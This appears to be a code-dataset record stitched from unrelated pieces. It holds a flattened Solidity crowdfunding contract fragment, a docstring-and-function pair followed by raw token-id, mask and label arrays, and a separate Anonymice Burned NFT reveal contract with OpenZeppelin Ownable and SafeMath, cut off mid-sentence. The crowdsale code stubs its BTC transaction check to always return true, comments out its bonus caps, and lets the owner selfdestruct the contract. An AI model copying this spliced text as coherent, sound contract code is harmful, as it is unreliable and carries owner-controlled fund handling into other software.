bonusEndTime) { // lastdata = msg.data; bytes32 code = sha3(msg.data); bonuspos = bonusesMapPos[code]; } ReceiveAmount(msg.sender, msg.value, 0, now, bonuspos); } function CheckBTCtransaction() internal constant returns (bool) { return true; } function AddBTCTransactionFromArray (address[] ETHadress, uint[] BTCnum, uint[] TransTime, bytes4[] bonusdata) public onlyOwner { require(ETHadress.length == BTCnum.length); require(TransTime.length == bonusdata.length); require(ETHadress.length == bonusdata.length); for (uint i = 0; i < ETHadress.length; i++) { AddBTCTransaction(ETHadress[i], BTCnum[i], TransTime[i], bonusdata[i]); } } /** * Add transfered BTC, only owner could call * * @param ETHadress The address of ethereum wallet of sender * @param BTCnum the received amount in BTC * 10^18 * @param TransTime the original (BTC) transaction time */ function AddBTCTransaction (address ETHadress, uint BTCnum, uint TransTime, bytes4 bonusdata) public onlyOwner { require(CheckBTCtransaction()); require((TransTime >= startTime) && (TransTime <= endTime)); require(BTCnum != 0); uint bonuspos = 0; if (TransTime <= bonusEndTime) { // lastdata = bonusdata; bytes32 code = sha3(bonusdata); bonuspos = bonusesMapPos[code]; } ReceiveAmount(ETHadress, 0, BTCnum, TransTime, bonuspos); } modifier afterDeadline() { if (now >= endTime) _; } /** * Set price for ETH and BTC, only owner could call * * @param _ETHPrice ETH price in USD cents * @param _BTCPrice BTC price in USD cents */ function SetCryptoPrice(uint _ETHPrice, uint _BTCPrice) public onlyOwner { ETHPrice = _ETHPrice; BTCPrice = _BTCPrice; } /** * Convert sum in ETH plus BTC to USD * * @param ETH ETH sum in wei * @param BTC BTC sum in 10^18 */ function convertToUSD(uint ETH, uint BTC) public constant returns (uint) { uint _ETH = ETH.mul(ETHPrice); uint _BTC = BTC.mul(BTCPrice); return (_ETH+_BTC).div(PriceDecimals); } /** * Calc collected sum in USD */ function collectedSum() public constant returns (uint) { return convertToUSD(ETHCollected,BTCCollected); } /** * Check if min cap was reached (only after finish of crowdfunding) */ function checkGoalReached() public afterDeadline { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingGoalUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } else { crowdSaleState = CrowdSaleState.Failure; } } /** * Check if max cap was reached */ function checkMaxCapReached() public { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingMaxCapUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } } function ReceiveAmount(address investor, uint sumETH, uint sumBTC, uint TransTime, uint bonuspos) internal { require(investor != 0x0); uint pos = balanceMapPos[investor]; if (pos>0) { pos--; assert(pos < balanceList.length); assert(balanceList[pos].mapAddress == investor); balanceList[pos].mapBalanceETH = balanceList[pos].mapBalanceETH.add(sumETH); balanceList[pos].mapBalanceBTC = balanceList[pos].mapBalanceBTC.add(sumBTC); } else { mapStruct memory newStruct; newStruct.mapAddress = investor; newStruct.mapBalanceETH = sumETH; newStruct.mapBalanceBTC = sumBTC; newStruct.bonusTokens = 0; pos = balanceList.push(newStruct); balanceMapPos[investor] = pos; pos--; } // update state ETHCollected = ETHCollected.add(sumETH); BTCCollected = BTCCollected.add(sumBTC); checkBonus(pos, sumETH, sumBTC, TransTime, bonuspos); checkMaxCapReached(); } uint public DistributionNextPos = 0; /** * Distribute tokens to next N participants, only owner could call */ function DistributeNextNTokens(uint n) public payable onlyOwner { require(BonusesDistributed); require(DistributionNextPos<balanceList.length); uint nextpos; if (n == 0) { nextpos = balanceList.length; } else { nextpos = DistributionNextPos.add(n); if (nextpos > balanceList.length) { nextpos = balanceList.length; } } uint TokenAmountToPay_local = TokenAmountToPay; for (uint i = DistributionNextPos; i < nextpos; i++) { uint USDbalance = convertToUSD(balanceList[i].mapBalanceETH, balanceList[i].mapBalanceBTC); uint tokensCount = USDbalance.mul(priceUSD); tokenReward.mintToken(balanceList[i].mapAddress, tokensCount + balanceList[i].bonusTokens); TokenAmountToPay_local = TokenAmountToPay_local.sub(tokensCount); balanceList[i].mapBalanceETH = 0; balanceList[i].mapBalanceBTC = 0; } TokenAmountToPay = TokenAmountToPay_local; DistributionNextPos = nextpos; } function finishDistribution() onlyOwner { require ((TokenAmountToPay == 0)||(DistributionNextPos >= balanceList.length)); // tokenReward.finishMinting(); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Withdraw the funds * * Checks to see if goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline { require(crowdSaleState == CrowdSaleState.Failure); uint pos = balanceMapPos[msg.sender]; require((pos>0)&&(pos<=balanceList.length)); pos--; uint amount = balanceList[pos].mapBalanceETH; balanceList[pos].mapBalanceETH = 0; if (amount > 0) { msg.sender.transfer(amount); FundTransfer(msg.sender, amount, false); } } /** * If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end * In this case the token distribution or sum refund will be performed in mannual */ function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Add a new bonus code, only owner could call */ function AddBonusToListFromArray(bytes32[] bonusCode, uint[] ETHsumInFinney, uint[] BTCsumInFinney) public onlyOwner { require(bonusCode.length == ETHsumInFinney.length); require(bonusCode.length == BTCsumInFinney.length); for (uint i = 0; i < bonusCode.length; i++) { AddBonusToList(bonusCode[i], ETHsumInFinney[i], BTCsumInFinney[i] ); } } /** * Add a new bonus code, only owner could call */ function AddBonusToList(bytes32 bonusCode, uint ETHsumInFinney, uint BTCsumInFinney) public onlyOwner { uint pos = bonusesMapPos[bonusCode]; if (pos > 0) { pos -= 1; bonusesList[pos].maxBonusETH = ETHsumInFinney * 1 finney; bonusesList[pos].maxBonusBTC = BTCsumInFinney * 1 finney; } else { bonusStruct memory newStruct; newStruct.balancePos = 0; newStruct.notempty = false; newStruct.maxBonusETH = ETHsumInFinney * 1 finney; newStruct.maxBonusBTC = BTCsumInFinney * 1 finney; newStruct.bonusETH = 0; newStruct.bonusBTC = 0; newStruct.bonusPercent = 20; pos = bonusesList.push(newStruct); bonusesMapPos[bonusCode] = pos; } } bool public BonusesDistributed = false; uint public BonusCalcPos = 0; // bytes public lastdata; function checkBonus(uint newBalancePos, uint sumETH, uint sumBTC, uint TransTime, uint pos) internal { if (pos > 0) { pos--; if (!bonusesList[pos].notempty) { bonusesList[pos].balancePos = newBalancePos; bonusesList[pos].notempty = true; } else { if (bonusesList[pos].balancePos != newBalancePos) return; } bonusesList[pos].bonusETH = bonusesList[pos].bonusETH.add(sumETH); // if (bonusesList[pos].bonusETH > bonusesList[pos].maxBonusETH) // bonusesList[pos].bonusETH = bonusesList[pos].maxBonusETH; bonusesList[pos].bonusBTC = bonusesList[pos].bonusBTC.add(sumBTC); // if (bonusesList[pos].bonusBTC > bonusesList[pos].maxBonusBTC) // bonusesList[pos].bonusBTC = bonusesList[pos].maxBonusBTC; } } /** * Calc the number of bonus tokens for N next bonus participants, only owner could call */ function calcNextNBonuses(uint N) public onlyOwner { require(crowdSaleState == CrowdSaleState.Success); require(!BonusesDistributed); uint nextPos = BonusCalcPos + N; if (nextPos > bonusesList.length) nextPos = bonusesList.length; uint bonusCapUSD_local = bonusCapUSD; for (uint i = BonusCalcPos; i < nextPos; i++) { if ((bonusesList[i].notempty) && (bonusesList[i].balancePos < balanceList.length)) { uint maxbonus = convertToUSD(bonusesList[i].maxBonusETH, bonusesList[i].maxBonusBTC); uint bonus = convertToUSD(bonusesList[i].bonusETH, bonusesList[i].bonusBTC); if (maxbonus < bonus) bonus = maxbonus; bonus = bonus.mul(priceUSD); if (bonusCapUSD_local >= bonus) { bonusCapUSD_local = bonusCapUSD_local - bonus; } else { bonus = bonusCapUSD_local; bonusCapUSD_local = 0; } bonus = bonus.mul(bonusesList[i].bonusPercent) / 100; balanceList[bonusesList[i].balancePos].bonusTokens = bonus; if (bonusCapUSD_local == 0) { BonusesDistributed = true; break; } } } bonusCapUSD = bonusCapUSD_local; BonusCalcPos = nextPos; if (nextPos >= bonusesList.length) { BonusesDistributed = true; } } }
* If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end In this case the token distribution or sum refund will be performed in mannual/
function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); }
12,838,210
[ 1, 2047, 5943, 13998, 7194, 3410, 3377, 5546, 326, 6835, 1839, 576, 17314, 628, 326, 276, 492, 2180, 14351, 679, 657, 333, 648, 326, 1147, 7006, 578, 2142, 16255, 903, 506, 9591, 316, 312, 1072, 1462, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 8673, 8924, 1435, 1071, 1338, 5541, 288, 203, 202, 202, 6528, 12, 3338, 1545, 13859, 397, 365, 10740, 950, 1769, 203, 202, 202, 2316, 17631, 1060, 18, 13866, 5460, 12565, 12, 8443, 1769, 203, 3639, 365, 5489, 8813, 12, 8443, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; import '@openzeppelin/contracts/interfaces/IERC721.sol'; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./AnonymiceLibrary.sol"; import "./OriginalAnonymiceInterface.sol"; // // THIS CONTRACT IS THE REVEAL CONTRACT FOR anonymiceburned.com !! // To own a burned mice, make sure to first mint it from contract 0x86B130EBb01A1c22f0bE5215dA29daBbEBC43eA8 // then come here and claim it using the reveal() function. You can easily do that from our dApp on anonymiceburned.com // // This was necessary due to a small bug on mint contract that prevents OpenSea from seeing the minted mice. // This contract will be also the core and sole cave of the burned mice! // // d8888 d8b 888888b. 888 // d88888 Y8P 888 "88b 888 // d88P888 888 .88P 888 // d88P 888 88888b. .d88b. 88888b. 888 888 88888b.d88b. 888 .d8888b .d88b. 8888888K. 888 888 888d888 88888b. .d88b. .d88888 // d88P 888 888 "88b d88""88b 888 "88b 888 888 888 "888 "88b 888 d88P" d8P Y8b 888 "Y88b 888 888 888P" 888 "88b d8P Y8b d88" 888 // d88P 888 888 888 888 888 888 888 888 888 888 888 888 888 888 88888888 888 888 888 888 888 888 888 88888888 888 888 // d8888888888 888 888 Y88..88P 888 888 Y88b 888 888 888 888 888 Y88b. Y8b. 888 d88P Y88b 888 888 888 888 Y8b. Y88b 888 // d88P 888 888 888 "Y88P" 888 888 "Y88888 888 888 888 888 "Y8888P "Y8888 8888888P" "Y88888 888 888 888 "Y8888 "Y88888 // 888 // Y8b d88P // "Y88P" contract AnonymiceBurnedReveal is ERC721Enumerable, Ownable { using AnonymiceLibrary for uint8; //Mappings mapping(uint256 => bool) private _tokenAlreadyRevealed; uint16[6450] internal tokenToOriginalMiceId; OriginalAnonymiceInterface.Trait[] internal burnedTraitType; //uint256s uint256 MAX_SUPPLY = 6450; //addresses address anonymiceContract = 0xbad6186E92002E312078b5a1dAfd5ddf63d3f731; address anonymiceResurrectionContract = 0x86B130EBb01A1c22f0bE5215dA29daBbEBC43eA8; //string arrays string[] LETTERS = [ "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" ]; //events event TokenMinted(uint256 supply); constructor() ERC721("Anonymice Burned", "bMICE") { } // ███╗ ███╗██╗███╗ ██╗████████╗██╗███╗ ██╗ ██████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗███████╗ // ████╗ ████║██║████╗ ██║╚══██╔══╝██║████╗ ██║██╔════╝ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝ // ██╔████╔██║██║██╔██╗ ██║ ██║ ██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║███████╗ // ██║╚██╔╝██║██║██║╚██╗██║ ██║ ██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║ // ██║ ╚═╝ ██║██║██║ ╚████║ ██║ ██║██║ ╚████║╚██████╔╝ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║███████║ // ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ /** * @dev Mint internal, this is to avoid code duplication. */ function mintInternal(uint256 tokenId, uint256 originalTokenId, address to) internal { tokenToOriginalMiceId[tokenId] = uint16(originalTokenId); _safeMint(to, tokenId); emit TokenMinted(tokenId); } /** * @dev Kills the mice again, this time forever. * @param _tokenId The token to burn. */ function killForever(uint256 _tokenId) public { require(ownerOf(_tokenId) == msg.sender); //Burn token _transfer( msg.sender, 0x000000000000000000000000000000000000dEaD, _tokenId ); } // ██████╗ ███████╗ █████╗ ██████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗███████╗ // ██╔══██╗██╔════╝██╔══██╗██╔══██╗ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝ // ██████╔╝█████╗ ███████║██║ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║███████╗ // ██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║ // ██║ ██║███████╗██║ ██║██████╔╝ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║███████║ // ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ /** * @dev Helper function to reduce pixel size within contract */ function letterToNumber(string memory _inputLetter) internal view returns (uint8) { for (uint8 i = 0; i < LETTERS.length; i++) { if ( keccak256(abi.encodePacked((LETTERS[i]))) == keccak256(abi.encodePacked((_inputLetter))) ) return (i + 1); } revert(); } /** * @dev Hash to SVG function */ function hashToSVG(string memory _hash) public view returns (string memory) { string memory svgString; bool[24][24] memory placedPixels; OriginalAnonymiceInterface originalMiceCollection = OriginalAnonymiceInterface(anonymiceContract); for (uint8 i = 0; i < 9; i++) { uint8 thisTraitIndex = AnonymiceLibrary.parseInt( AnonymiceLibrary.substring(_hash, i, i + 1) ); OriginalAnonymiceInterface.Trait memory trait; if (i == 0) { trait = OriginalAnonymiceInterface.Trait( burnedTraitType[thisTraitIndex].traitName, burnedTraitType[thisTraitIndex].traitType, burnedTraitType[thisTraitIndex].pixels, burnedTraitType[thisTraitIndex].pixelCount ); } else { (string memory traitName, string memory traitType, string memory pixels, uint pixelCount) = originalMiceCollection.traitTypes(i, thisTraitIndex); trait = OriginalAnonymiceInterface.Trait( traitName, traitType, pixels, pixelCount ); } for ( uint16 j = 0; j < trait.pixelCount; j++ ) { string memory thisPixel = AnonymiceLibrary.substring( trait.pixels, j * 4, j * 4 + 4 ); uint8 x = letterToNumber( AnonymiceLibrary.substring(thisPixel, 0, 1) ); uint8 y = letterToNumber( AnonymiceLibrary.substring(thisPixel, 1, 2) ); if (placedPixels[x][y]) continue; svgString = string( abi.encodePacked( svgString, "<rect class='c", AnonymiceLibrary.substring(thisPixel, 2, 4), "' x='", x.toString(), "' y='", y.toString(), "'/>" ) ); placedPixels[x][y] = true; } } svgString = string( abi.encodePacked( '<svg id="mouse-svg" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 24 24"> ', svgString, "<style>rect{width:1px;height:1px;} #mouse-svg{shape-rendering: crispedges;} .c00{fill:#000000}.c01{fill:#B1ADAC}.c02{fill:#D7D7D7}.c03{fill:#FFA6A6}.c04{fill:#FFD4D5}.c05{fill:#B9AD95}.c06{fill:#E2D6BE}.c07{fill:#7F625A}.c08{fill:#A58F82}.c09{fill:#4B1E0B}.c10{fill:#6D2C10}.c11{fill:#D8D8D8}.c12{fill:#F5F5F5}.c13{fill:#433D4B}.c14{fill:#8D949C}.c15{fill:#05FF00}.c16{fill:#01C700}.c17{fill:#0B8F08}.c18{fill:#421C13}.c19{fill:#6B392A}.c20{fill:#A35E40}.c21{fill:#DCBD91}.c22{fill:#777777}.c23{fill:#848484}.c24{fill:#ABABAB}.c25{fill:#BABABA}.c26{fill:#C7C7C7}.c27{fill:#EAEAEA}.c28{fill:#0C76AA}.c29{fill:#0E97DB}.c30{fill:#10A4EC}.c31{fill:#13B0FF}.c32{fill:#2EB9FE}.c33{fill:#54CCFF}.c34{fill:#50C0F2}.c35{fill:#54CCFF}.c36{fill:#72DAFF}.c37{fill:#B6EAFF}.c38{fill:#FFFFFF}.c39{fill:#954546}.c40{fill:#0B87F7}.c41{fill:#FF2626}.c42{fill:#180F02}.c43{fill:#2B2319}.c44{fill:#FBDD4B}.c45{fill:#F5B923}.c46{fill:#CC8A18}.c47{fill:#3C2203}.c48{fill:#53320B}.c49{fill:#7B501D}.c50{fill:#FFE646}.c51{fill:#FFD627}.c52{fill:#F5B700}.c53{fill:#242424}.c54{fill:#4A4A4A}.c55{fill:#676767}.c56{fill:#F08306}.c57{fill:#FCA30E}.c58{fill:#FEBC0E}.c59{fill:#FBEC1C}.c60{fill:#14242F}.c61{fill:#B06837}.c62{fill:#8F4B0E}.c63{fill:#D88227}.c64{fill:#B06837}.c65{fill:#4F10FF}.c66{fill:#3D9EFD}.c67{fill:#98FFE0}.c68{fill:#45C4F8}</style></svg>" ) ); return svgString; } /** * @dev Hash to metadata function */ function hashToMetadata(string memory _hash, uint _tokenId) public view returns (string memory) { string memory metadataString; OriginalAnonymiceInterface originalMiceCollection = OriginalAnonymiceInterface(anonymiceContract); for (uint8 i = 0; i < 9; i++) { uint8 thisTraitIndex = AnonymiceLibrary.parseInt( AnonymiceLibrary.substring(_hash, i, i + 1) ); OriginalAnonymiceInterface.Trait memory trait; if (i == 0) { trait = OriginalAnonymiceInterface.Trait( burnedTraitType[thisTraitIndex].traitName, burnedTraitType[thisTraitIndex].traitType, burnedTraitType[thisTraitIndex].pixels, burnedTraitType[thisTraitIndex].pixelCount ); } else { (string memory traitName, string memory traitType, string memory pixels, uint pixelCount) = originalMiceCollection.traitTypes(i, thisTraitIndex); trait = OriginalAnonymiceInterface.Trait( traitName, traitType, pixels, pixelCount ); } metadataString = string( abi.encodePacked( metadataString, '{"trait_type":"', trait.traitType, '","value":"', trait.traitName, '"}' ) ); if (i != 8) metadataString = string(abi.encodePacked(metadataString, ",")); } // add the property of original token id number metadataString = string( abi.encodePacked( metadataString, ',{"trait_type":"', 'original_mice', '","value":"', AnonymiceLibrary.toString(tokenToOriginalMiceId[_tokenId]), '"}' ) ); return string(abi.encodePacked("[", metadataString, "]")); } /** * @dev Returns the SVG and metadata for a token Id * @param _tokenId The tokenId to return the SVG and metadata for. */ function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId)); string memory tokenHash = _tokenIdToHash(_tokenId); return string( abi.encodePacked( "data:application/json;base64,", AnonymiceLibrary.encode( bytes( string( abi.encodePacked( '{"name": "Anonymice #', AnonymiceLibrary.toString(_tokenId), '", "description": "Anonymice Burned is a collection of 6,450 burned mices from the Anonymice collection, with the same traits as the burned ones. Like the original collection, metadata and images are generated and stored 100% on-chain. No IPFS, no API. Just the Ethereum blockchain. And a group of resurrected mices", "image": "data:image/svg+xml;base64,', AnonymiceLibrary.encode( bytes(hashToSVG(tokenHash)) ), '","attributes":', hashToMetadata(tokenHash, _tokenId), "}" ) ) ) ) ) ); } /** * @dev Returns a hash for a given tokenId * @param _tokenId The tokenId to return the hash for. */ function _tokenIdToHash(uint256 _tokenId) public view returns (string memory) { OriginalAnonymiceInterface originalMiceCollection = OriginalAnonymiceInterface(anonymiceContract); string memory tokenHash = originalMiceCollection._tokenIdToHash(uint256(tokenToOriginalMiceId[_tokenId])); //If this is a burned token, override the previous hash if (ownerOf(_tokenId) == 0x000000000000000000000000000000000000dEaD) { tokenHash = string( abi.encodePacked( "1", AnonymiceLibrary.substring(tokenHash, 1, 9) ) ); } else { tokenHash = string( abi.encodePacked( "0", AnonymiceLibrary.substring(tokenHash, 1, 9) ) ); } return tokenHash; } function reveal() public { // get tokens of the owner ERC721Enumerable resurrectionContract = ERC721Enumerable(anonymiceResurrectionContract); ERC721Enumerable originalContract = ERC721Enumerable(anonymiceContract); uint numOfTokens = resurrectionContract.balanceOf(msg.sender); for (uint i=0; i<numOfTokens; i++) { uint tokenId = resurrectionContract.tokenOfOwnerByIndex(msg.sender, i); if (_tokenAlreadyRevealed[tokenId]) { continue; } uint originalTokenId = originalContract.tokenOfOwnerByIndex(0x000000000000000000000000000000000000dEaD, tokenId); mintInternal(tokenId, originalTokenId, msg.sender); _tokenAlreadyRevealed[tokenId] = true; } } /** * @dev Returns the wallet of a given wallet. Mainly for ease for frontend devs. * @param _wallet The wallet to get the tokens of. */ function walletOfOwner(address _wallet) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_wallet); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_wallet, i); } return tokensId; } // ██████╗ ██╗ ██╗███╗ ██╗███████╗██████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗███████╗ // ██╔═══██╗██║ ██║████╗ ██║██╔════╝██╔══██╗ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝ // ██║ ██║██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║███████╗ // ██║ ██║██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║ // ╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║███████║ // ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ /** * @dev Clears the traits. */ function clearBurnedTraits() public onlyOwner { for (uint256 i = 0; i < burnedTraitType.length; i++) { delete burnedTraitType[i]; } } /** * @dev Add trait types of burned * @param traits Array of traits to add */ function addBurnedTraitType(OriginalAnonymiceInterface.Trait[] memory traits) public onlyOwner { for (uint256 i = 0; i < traits.length; i++) { burnedTraitType.push( OriginalAnonymiceInterface.Trait( traits[i].traitName, traits[i].traitType, traits[i].pixels, traits[i].pixelCount ) ); } return; } /** * @dev Collects the total amount in the contract */ function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } /** * @dev Collects the total amount in the contract * @param newAddress The new address of the anonymice contract */ function setAnonymiceOriginalContractAddress(address newAddress) public onlyOwner { anonymiceContract = newAddress; } /** * @dev Collects the total amount in the contract * @param newAddress The new address of the anonymice contract */ function setAnonymiceResurrectionContractAddress(address newAddress) public onlyOwner { anonymiceResurrectionContract = newAddress; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two 